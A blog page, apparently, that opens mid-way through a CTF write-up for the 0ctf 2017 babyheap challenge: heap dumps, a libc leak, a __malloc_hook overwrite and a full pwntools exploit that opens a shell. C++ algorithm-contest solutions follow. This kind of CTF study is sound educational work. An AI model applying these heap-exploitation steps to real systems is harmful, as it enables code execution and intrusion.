Allocated chunk
Addr: 0x5614ee1f60a0
Size: 0x00

通过溢出,成功修改了chunk2指向chunk4,导致未释放的chunk4加入到了bin中,重新allocate,导致idx=2、4都为同一个块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0x555923ab8040 —▸ 0x555923ab8080 ◂— 0x21 /* '!' */
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

6.重新申请回两个块

1、2、4

释放:块1->块2

修改:块2->块4

重新申请:块4->块2(idx1->idx2)

  • 原块1直接释放态->allocate态
  • 原块2->idx1
  • 原块4->idx2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

#先进后出
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x21
fd: 0x00

Allocated chunk
Addr: 0x5614ee1f60a0
Size: 0x00
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x21

Allocated chunk
Addr: 0x5614ee1f60a0
Size: 0x00

7.重新修改chunk4:0x10->0x80

为了让top chunk重新找得到,故需要重新讲chunk4的大小修改回0x80,以便于之后申请操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x0000000000000000 0x0000000000000000
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000091
0x5614ee1f6090: 0x0000000000000000 0x0000000000000000
0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> heap
#0
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21
#1
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
#new 1
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
#3
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21
#2、4
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x20ef1

8.申请一个块,防止块4free与top chunk合并

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91

#alloc(0x80)
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61

9.释放chunk4

因为此时idx2、4都指向chunk4,故可以释放chunk4,此时它里面会填入main_arena中地址,可以计算得到libc_base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

#free(4)
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61

10.打印idx2(即idx4内容)

1
2
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))

11.申请0x60的块

新块的idx为4(把idx4给了分配的块,为分配的0x21没有idx)

切割0x91的块,剩下0x21放入了unsortedbin中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

#alloc(0x60)
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61

12.释放0x60的块

再次释放0x60的块,放入了fastbin中,为fastbin后面继续申请0x60的堆地址提供了帮助,,,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

#free(4)
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71
fd: 0x00

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61

13.修改idx2的内容,为malloc_hook附近构造chunk的地址

需要改地址,有fastbin大小的八字节数字,,,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#payload = p64(libc_base+0x3c4aed)
#fill(2, payload)

pwndbg> x/30gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x0000000000000000 0x0000000000000000
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000071
0x5614ee1f6090: 0x00007f6a86e67aed 0x0000000000000000
0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60c0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60d0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60e0: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71
fd: 0x7f6a86e67aed#修改后的地址

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
#接下来申请两遍,即可得到0x7f6a86e67aed地址的块,可以对0x7f6a86e67aed进行数据读写
0x70: 0x5614ee1f6080 —▸ 0x7f6a86e67aed (_IO_wide_data_0+301) ◂— 0x6a86b28ea0000000
0x80: 0x0
unsortedbin
all: 0x5614ee1f60f0 —▸ 0x7f6a86e67b78 (main_arena+88) ◂— 0x5614ee1f60f0
smallbins
empty
largebins
empty

14.申请回第一个0x60块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

#alloc(0x60)
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61


pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x7f6a86e67aed (_IO_wide_data_0+301) ◂— 0x6a86b28ea0000000
0x80: 0x0
unsortedbin
all: 0x5614ee1f60f0 —▸ 0x7f6a86e67b78 (main_arena+88) ◂— 0x5614ee1f60f0
smallbins
empty
largebins
empty


pwndbg> x/30gx 0x7f6a86e67aed
0x7f6a86e67aed <_IO_wide_data_0+301>: 0x6a86e66260000000 0x000000000000007f
0x7f6a86e67afd: 0x6a86b28ea0000000 0x6a86b28a7000007f
0x7f6a86e67b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f6a86e67b1d: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b4d <main_arena+45>: 0x6a86e67aed000000 0x000000000000007f
0x7f6a86e67b5d <main_arena+61>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b6d <main_arena+77>: 0x0000000000000000 0x14ee1f61a0000000
0x7f6a86e67b7d <main_arena+93>: 0x14ee1f60f0000056 0x14ee1f60f0000056
0x7f6a86e67b8d <main_arena+109>: 0x14ee1f60f0000056 0x6a86e67b88000056
0x7f6a86e67b9d <main_arena+125>: 0x6a86e67b8800007f 0x6a86e67b9800007f
0x7f6a86e67bad <main_arena+141>: 0x6a86e67b9800007f 0x6a86e67ba800007f
0x7f6a86e67bbd <main_arena+157>: 0x6a86e67ba800007f 0x6a86e67bb800007f
0x7f6a86e67bcd <main_arena+173>: 0x6a86e67bb800007f 0x6a86e67bc800007f
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/30gx 0x7f6a86e67b20 - 0x20
0x7f6a86e67b00 <__memalign_hook>: 0x00007f6a86b28ea0 0x00007f6a86b28a70
0x7f6a86e67b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b50 <main_arena+48>: 0x6a86b28ea0000000 0x0000000000000000
0x7f6a86e67b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b70 <main_arena+80>: 0x0000000000000000 0x00005614ee1f61a0
0x7f6a86e67b80 <main_arena+96>: 0x00005614ee1f60f0 0x00005614ee1f60f0
0x7f6a86e67b90 <main_arena+112>: 0x00005614ee1f60f0 0x00007f6a86e67b88
0x7f6a86e67ba0 <main_arena+128>: 0x00007f6a86e67b88 0x00007f6a86e67b98
0x7f6a86e67bb0 <main_arena+144>: 0x00007f6a86e67b98 0x00007f6a86e67ba8
0x7f6a86e67bc0 <main_arena+160>: 0x00007f6a86e67ba8 0x00007f6a86e67bb8
0x7f6a86e67bd0 <main_arena+176>: 0x00007f6a86e67bb8 0x00007f6a86e67bc8
0x7f6a86e67be0 <main_arena+192>: 0x00007f6a86e67bc8 0x00007f6a86e67bd8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/30gx 0x7f6a86e67b20 - 0x20
0x7f6a86e67b00 <__memalign_hook>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b10 <__malloc_hook>: 0x00007f6a86ae826a 0x0000000000000000
0x7f6a86e67b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b50 <main_arena+48>: 0x6a86b28ea0000000 0x0000000000000000
0x7f6a86e67b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b70 <main_arena+80>: 0x0000000000000000 0x00005614ee1f61a0
0x7f6a86e67b80 <main_arena+96>: 0x00005614ee1f60f0 0x00005614ee1f60f0
0x7f6a86e67b90 <main_arena+112>: 0x00005614ee1f60f0 0x00007f6a86e67b88
0x7f6a86e67ba0 <main_arena+128>: 0x00007f6a86e67b88 0x00007f6a86e67b98
0x7f6a86e67bb0 <main_arena+144>: 0x00007f6a86e67b98 0x00007f6a86e67ba8
0x7f6a86e67bc0 <main_arena+160>: 0x00007f6a86e67ba8 0x00007f6a86e67bb8
0x7f6a86e67bd0 <main_arena+176>: 0x00007f6a86e67bb8 0x00007f6a86e67bc8
0x7f6a86e67be0 <main_arena+192>: 0x00007f6a86e67bc8 0x00007f6a86e67bd8

15.申请到假的chunk,修改malloc_hook->gadget

最后只要执行malloc操作,即可get shell

1
2
3
4
5
6
7
8
9
allo(0x60)
allo(0x60)

payload = 'a'*(0x8+0x2+0x8+1)
payload += p64(libc_base+0x4526a)

fill(6,len(payload),payload)

allo(79)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *

p = process("./0ctf_2017_babyheap")
#p=remote("node3.buuoj.cn",25261)

context.log_level = 'debug'
def allo(size):
p.recvuntil("Command: ")
p.sendline(str(1))
p.recvuntil("Size: ")
p.sendline(str(size))

def fill(idx,size,content):
p.recvuntil("Command: ")
p.sendline(str(2))
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.sendline(content)

def free(idx):
p.recvuntil("Command: ")
p.sendline(str(3))
p.recvuntil("Index: ")
p.sendline(str(idx))

def dump(idx):
p.recvuntil("Command: ")
p.sendline(str(4))
p.recvuntil("Index: ")
p.sendline(str(idx))

allo(0x10)#0
allo(0x10)#1
allo(0x10)#2
allo(0x10)#3
allo(0x80)#4

free(1)
free(2)

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21)
payload += p8(0x80)
fill(0,len(payload),payload)

payload = p64(0)*3 + p64(0x21)
fill(3,len(payload),payload)

allo(0x10)#1 The original position of 2
allo(0x10)#2 4 Simultaneous pointing

payload = p64(0)*3 + p64(0x91)
fill(3,len(payload),payload)

allo(0x80)

free(4)

dump(2)
content = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
print(hex(content))
libc_base = (content) - 0x3c4b78
print(hex(libc_base))

allo(0x60)

free(4)
payload = p64(libc_base + 0x3C4AED)
fill(2,len(payload),payload)

allo(0x60)
allo(0x60)
gdb.attach(p)
pause()


payload = 'a'*(0x8+0x2+0x8+1)
payload += p64(libc_base+0x4526a)

fill(6,len(payload),payload)

allo(79)
# gdb.attach(p)
p.interactive()

常规的堆题流程,,,经典题目

前言

第二次选拔赛,,,,看这个成绩,,,,战况糟糕,,,只做出来了简单题,,,

秉持着什么比赛尽量复现一遍,,,,故今晚就干这个了。。。 ——2021.3.20

题解参考:https://ac.nowcoder.com/acm/discuss/blogs?tagId=140529

题目地址:https://ac.nowcoder.com/acm/contest/12478

A 暗号1

wuwuwu,,,看着还行,,,就写出来容易超时,,,

思路

  1. 将字符串按照第一次出现的顺序替换【使得本质相同的字符串一样】
  2. 利用map对字符串进行映射,<string,int>,使得键对应字符串,值对应出现的次数
  3. 将map对应string的下标存入数组,最后的查询在区间内的下标个数即可。

unordered_map

  1. 内部实现哈希表(散列表),将关键码值映射到hash表中的一个位置来访问
  2. 查找的时间复杂度位O(1)
  3. 元素的排列顺序是无序的。
1
2
3
#include <unordered_map>			//头文件
unordered_map<string,int> id; //创建
id[s] = ++tot; //赋值

upper_bound和lower_bound

功能:利用二分查找的方法在一个排好序的数组中进行查找的。

特点:

  1. 从begin到end-1的位置开始查找
  2. 二分查找,有序数组
  3. 返回找到数字的下标
1
2
3
4
//第一个小于或等于num
lower_bound(begin,end,num);
//第一个小于num的数字
upper_bound(begin,end,num);

万能头文件

1
#include<bits/stdc++.h>

包括了基本所有的头文件,,,方便使用。

具体查看里面都有什么头文件请查看

memset

功能:初始化函数,将某一块内存中的内容全部设置为指定的值

1
2
#include <bits/stdc++.h>//emm
memset(vis,-1,sizeof(vis));
  • 第一个参数:初始化数组
  • 第二个参数:赋的值
  • 第三个参数:大小

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <iostream>
#include <bits/stdc++.h>
#include <unordered_map>
#include <vector>
using namespace std;

int vis[30];//存放某一字符(下标) 对应 转换的字符[存的只是1234...]
unordered_map<string,int> id;//存放某类字符串,,,是否出现过
int tot;//存放出现过的字符类的数目
const int N = 1e5;//数组初始化,必须是const
vector<int> e[N];//存放的是,对应类字符串的下标

string tran(string s){
memset(vis,-1,sizeof(vis));
int len = s.size();
int cnt = -1;//从a开始轮到的字符
for (int i = 0; i < len; ++i) {
if(vis[s[i] - 'a'] == -1){//该字符串还没转换
vis[s[i] - 'a'] = ++cnt;
}
s[i] = vis[s[i] - 'a'] + 'a';//变成字符
}
return s;
}

int get(int id,int l,int r){
return upper_bound(e[id].begin(),e[id].end(),r) - lower_bound(e[id].begin(),e[id].end(),l);
}

int main(){
int n,q;
cin>>n>>q;
for (int i = 1; i <= n ; ++i) {//这里要从1开始,因为l和r是从1开始,用来计算的下标也应是从1开始的
string s;
cin>>s;
s = tran(s);//输入的字符串都进行转换
if(!id[s]){//该类字符串没有出现过
id[s] = ++tot;
}
e[id[s]].push_back(i);//存入下标
}
while (q--){
string s;
cin>>s;
int l,r;
cin>>l>>r;
s = tran(s);
if(!id[s]){//这类字符串没有出现过
cout<<0<<endl;
}else{
cout<<get(id[s],l,r)<<endl;//通过大于区间 减去 小于 区间的,,,得到属于区间的个数
}
}

return 0;
}

B 暗号2

当时看第二题,,,一看对其做hash,感觉还好,,,好吧,我对什么感觉都还好,,但是不会做TATATAT

思路

使用动态规划dp来做,,,【只能说我看懂了, 能不能想到就难说了】

  1. dp[i][j]表示长度为i,bash值为j的字符串有几个【第一个长度是len,21即可;第二个长度是p的最大值,100001即可】 初值:dp[0][0] = 1
  2. 对于长度为i的字符串,它是长度为i-1的字符串(令hash值为j【因为hash值对p求余,故hash值小于p】)加上一个字符k∈[0,26)得到的,故得到最终的hash值是(j*base+k)%p
  3. 长度为i的hash值如上,它的值是:dp[i][v] = dp[i][v] + dp[i-1][j];
  4. 最后,输出的结果是dp[n][hashsum]

增强for循环

1
for(auto i:s)

auto

功能:根据后面的值,来自己推测前面的类型是什么。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <bits/stdc++.h>
using namespace std;

long long dp[21][100001]; //dp的数组
const long long mod = 1e9 + 7;
int main(){
long long base,p,n; //最后都设为long long
string s;
cin>>base>>p>>n>>s;
long long hashsum=0;
for(auto i:s) hashsum = (hashsum*base+i-'a')%p; //求输入s的hash值
dp[0][0] = 1; //设初值

for (int i = 1; i <= n; ++i) { //这个一致即可
for (int j = 0; j < p; ++j) { //hash值最大不超过p
for (int k = 0; k < 26; ++k) { //补上最后一位的字符
int v = (j * base + k) % p; //计算hash
dp[i][v] += dp[i-1][j]; //计算个数
dp[i][v] %= mod; //求余
}
}
}
cout<<dp[n][hashsum]<<endl;
}

C 3.6数对

题目是比较简单的,,,,比赛的时候也做出来了。。。但是题解更有意思,,,,提供一种思路

我的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <iostream>
#include <vector>
using namespace std;
void check(vector<int> &v){
int time=0;
for (int i = 0; i < v.size()-1; ++i) {
for (int j = i+1; j < v.size(); ++j) {
if(v[i] == 2*v[j] || v[i]*2 == v[j]){//一步一步判断,,,比较慢
time++;
}
}
}
cout<<time<<endl;
}
int main() {
int n;
cin>>n;

for (int i = 0; i < n; ++i) {
int n1;
cin>>n1;
vector<int> v(n1,0);
for (int j = 0; j < n1; ++j) {
cin>>v[j];
}check(v);
}
return 0;
}

题解【桶排】

思路

  1. 使用数组下标表示值,因为最大值才100,开辟一个101的数组空间即可
  2. 输入一个数x,让a[x]++,让数组里面存储下标对应的个数
  3. 最后ans是用循环+a[i] * a[i*2]得到的,因为多个值的话,其实就是乘积

高级,,,这种方法又称作桶排。

image-20210321212749117

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <bits/stdc++.h>
using namespace std;

int a[101];//因为输入的数最大为100,用一个100大小的空间即可
int main(){
int T;
cin>>T;
while(T--){//测试数据的写法
int n;//数组长度
cin>>n;
memset(a,0,sizeof(a));//必须置0,避免影响其他轮数的计算
for (int i = 1; i <= n; ++i) {//输入n组数据
int x;
cin>>x;
a[x]++;//用下标表示数字,用数组表示有几个。
}
int ans = 0 ;
for (int i = 1; i <= 50 ; ++i) {
ans += a[i] * a[i*2];//好想法。。。
}
cout<<ans<<endl;
}
return 0;
}

D 圆的交点

思维题,,哭哭,好嘛,我也想过,只不过没想明白 orz~~

思路

分为三种情况:

  1. 相邻的交点

image-20210322142735301

两两相交,交点有两个

组合方式计算:

a.一排横着两两相交:a种

b.共有b+1排

故此情况为a*(b+1)

同理,纵向两两相交:b种,共有a+1排

故此情况共有交点:2*[a*(b+1)+b*(a+1)]


2.斜对面

image-20210322143100339

这种情况,交点都在圆心处,,


  1. 相切

image-20210322143132384

交点也都在圆心处,,,

所以,所有的圆心都是交点,也就是(a+1)*(b+1),也就是所有圆的个数


综上:所以最终答案为2*[a*(b+1)+b*(a+1)]+(a+1)*(b+1)


exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//
// Created by YCNN on 2021-03-22.
//
#include <bits/stdc++.h>
using namespace std;
const long long mod = 1e9+7;
int main(){
int T;
cin>>T;
while(T--){
long long a,b;
cin>>a>>b;
cout<<(2*( a*(b+1) + b*(a+1) ) + (a+1)*(b+1))%mod<<endl;
}
return 0;
}

E 孪生质数

emm,这道题,,,,是真的搞不出来,虽然答案能算,但是超时,惨兮兮,涉及知识点盲区

设计了筛法计算质数,快速幂还有逆元(就是a的逆,,,),一个个来说说。

筛法求质数

参考:

简介

普通的求质数方法:两层循环,通过判断该数能否被从1开始的任意数整除,如果可以的话,为合数;都不可的话,为质数;

改进的普通筛法:已知2是质数,则令它与2,3,4…相乘得到的数都是合数,它的复杂度为O(NloglogN)

欧拉筛法:又称线性筛,它的时间复杂度为O(n),普通筛法有问题是,同样的一个数,如24,他既会被2筛,也会被3、4、6、8、12筛掉,不好,所以它改进为一个合数只被它最小的质因数筛掉。

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const int N = 1e7+1e3;
bool ok[N];//用来进行筛选的数组
int prim[N];//存有所有的质数
int pos=0;//代表当前质数的个数
void init(){
for (int i = 2; i < N;++i) {//质数是从2-N
if(ok[i] == 0){//0表示是质数
prim[pos++] = i;//将该质数加入到prim数组中.
}
//这里是为了将最小质因数为i的其他合数都进行标记
for (int j = 0; j < pos; ++j) {
if(i*prim[j] > N)//超过范围
break;
ok[i*prim[j]] = 1;//标记
if(i%prim[j] == 0)//如果prim[j]刚好是i的最小质因数,所以其他时候,i不是最小质因数,prim[j]可以代替它,故退出
break;
}
}
}

快速幂

思路

求解a^b(以2^10为例),步骤如下:

  1. a = 2,b = 10(1010b【二进制表示】)
  2. 2^10 = 2^(2^0*0 + 2^1*1 + 2^2*0 + 2^3*1

下面的代码正是基于上面的思路:

若a为2,b = 10(1010b)

  1. 初始 a = 2,b = 1010b,ans = 1;

  2. 第一次循环,因为b最低位不为1,故a = a ^ 2,ans = 1;

    b右移,b = 101,继续循环

  3. 第二次循环,因为b = 101,最低位为1,故ans = a ^ 2,a = a^4

    b右移,b = 10,继续循环

  4. 第三次循环,因为b = 10,最低位不为1,故ans = a^2,a = a^8

    b右移,b = 1,继续循环

  5. 第四次循环,因为b = 1,最低位为1,故ans = a^2 * a^8 = a^10 , a=a^16

    b继续右移,b=0,循环结束

代码

1
2
3
4
5
6
7
8
9
10
11
//计算a^b
int qmod(int a,int b){
int ans = 1;
while(b){//首先判断b有没有
if(b&1)//如果b低位为1
ans = ans*a%mod;//在结果中加入
a = a*a%mod;//a继续
b>>=1;//b继续右移
}
return ans;
}

本题求解

思路

  1. 首先根据筛法求质数,将所有的质数保存在prim数组中

  2. 循环prim数组,找到所有的孪生质数,保存在a数组(向量)中

  3. 因为抽中的概率就是

    k表示的是孪生质数的对数

    化简为

  4. 根据vector,容易得到k

  5. 剩余1/(n*n-1),要求mod,,,需要快速幂,然后按着公式直接计算即可得到结果

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <bits/stdc++.h>
using namespace std;
#define int long long//为方便使用,将所有的int就是long long[好看又好用](注意:define后面不跟分号)
const int N = 1e7+1e3;
const int mod = 1e9+7;
bool ok[N];//用来进行筛选的数组
int prim[N];//存有所有的质数
int pos=0;//代表当前质数的个数
vector<int >a ;//存储所有的孪生质数
void init(){
for (int i = 2; i < N;++i) {//质数是从2-N
if(ok[i] == 0){//0表示是质数
prim[pos++] = i;//将该质数加入到prim数组中.
}
//这里是为了将最小质因数为i的其他合数都进行标记
for (int j = 0; j < pos; ++j) {
if(i*prim[j] > N)//超过范围
break;
ok[i*prim[j]] = 1;//标记
if(i%prim[j] == 0)//如果prim[j]刚好是i的最小质因数,所以其他时候,i不是最小质因数,prim[j]可以代替它,故退出
break;
}
}
//孪生质数
for (int i = 0; i < pos; ++i) {
if(prim[i+1] == prim[i]+2){
a.push_back(prim[i]);
}
}
}
//计算a^b
int qmod(int a,int b){
int ans = 1;
while(b){
if(b&1)
ans = ans*a%mod;
a = a*a%mod;
b>>=1;
}
return ans;
}
signed main(){//必须要返回int,但是没int了,用siged代替,本质一样
init();//初始化,计算所有孪生质数
int t;
cin>>t;
while(t--){
int n;
cin>>n;
int sum = (upper_bound(a.begin(),a.end(),n-2) - a.begin()) * 2;
int ans = sum % mod * qmod(n*(n-1) % mod,mod-2) % mod;
cout<<ans<<endl;
}
return 0;
}

F 数字金字塔

考试成功做出来了的简单题

